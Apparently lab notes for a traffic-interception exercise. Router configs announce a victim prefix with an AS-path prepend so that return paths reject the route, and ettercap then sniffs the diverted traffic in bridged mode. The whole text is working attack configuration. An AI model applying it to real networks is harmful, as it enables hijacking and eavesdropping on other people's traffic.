



Step1

R1

! Define the prefixes

```
ip prefix-list HIJACK seq 10 permit 10.46.50.0/24
```

```
ip prefix-list MYASN seq 10 permit 10.46.16.0/22
```

! Define the Route Map

```
route-map HIJACK permit 10
```

```
match ip address prefix-list HIJACK
```

! Prepend ASs of the return path so they REJECT this route

```
set as-path prepend 2846 4846 3456
```

!

```
route-map HIJACK permit 20
```

```
match ip address prefix-list MYASN
```

!

! Apply to BGP neighbor (towards AS1446)

```
router bgp 6646
```

```
neighbor 100.64.1.2 route-map HIJACK out
```

R2

! Filter to only allow our legitimate network out this side

ip prefix-list MYASN seq 10 permit 10.46.16.0/22

route-map MYASN permit 10

match ip address prefix-list MYASN

! BGP Configuration

router bgp 6646

neighbor 100.64.2.2 route-map MYASN out

! Advertise the hijack prefix into BGP (so R1 learns it via iBGP)

network 10.46.50.0/24

! Point traffic for the victim IP towards the upstream provider (AS2846)

ip route 10.46.50.0/24 100.64.2.2

Step 2

Kali

ettercap -T -q -i eth0 -B eth1